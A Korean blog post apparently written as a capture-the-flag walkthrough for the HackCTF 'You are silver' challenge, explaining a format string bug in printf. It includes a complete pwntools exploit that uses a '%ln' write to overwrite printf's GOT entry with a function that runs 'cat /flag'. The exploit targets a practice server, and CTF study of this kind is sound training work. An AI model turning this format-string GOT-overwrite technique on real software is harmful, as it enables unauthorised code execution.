HACKCTF - You are silver
2020. 8. 6. 18:09ㆍCTF's Write-up
해당 문제를 실행시켜보면
이름을 입력받고, 출력해주고, 세그멘테이션 오류를 출력합니다.
ida로 메인함수부분을 확인해보면
printf에서 입력은 부분들을 그대로 출력해주니 이 부분에서 segmentation오류가 발생합니다.
아마 FBS관련 문제 같았습니다.
하지만.. 전 fsb에 대해서 약점을 가지고있어서... 공부하고 오느라 푸는데 시간이 3일정도 걸렸습니다. ㅎㅎ
문제 보고 fsb 공부하려고 dreamhack가서 강의 처음부터 쭉 듣다가 st4nw한테 문제 받아서 풀려고했는데 그거보다 이게 쉬운문제같아서 바로 풀었습니다. 이제 다시 그문제 풀러 가야겠네요..ㅎㅎ 잡담이 길었고 다시 본론으로 들어가면
fsb문제인데, fsb를 발생시켜보면
6번째에서 주소값을 출력하는 것을 볼 수 있습니다.
그리고 코드를 살펴보면
play_game이란 함수에서 "cat /flag"가 있으니 이 부분으로 gor overwriting 을 해주면 될 듯 합니다.
페이로드는 아래와 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3022)
e = ELF("./you_are_silver")
#context.log_level = "debug"
printf_got = e.got['printf']
cat_flag = 0x400744
payload = ""
payload += "%4196164c"
payload += "%8$ln"
payload += "AA"
payload += p64(printf_got)
r.recvuntil("name\n")
r.sendline(payload)
r.interactive()
|
cs |
실행시키면
dummy를 엄청 출력시킨 후 flag를 획득할 수 있었습니다 :)
'CTF's Write-up' 카테고리의 다른 글
HackCTF - Classic Cipher -1 (0) | 2020.08.07 |
---|---|
DreamHack - rev-basic-5 (0) | 2020.08.06 |
HACKCTF - 1996 (0) | 2020.08.06 |
DreamHack - basic_exploitation_000 (0) | 2020.08.05 |
HACKCTF - 잔상 (0) | 2020.08.05 |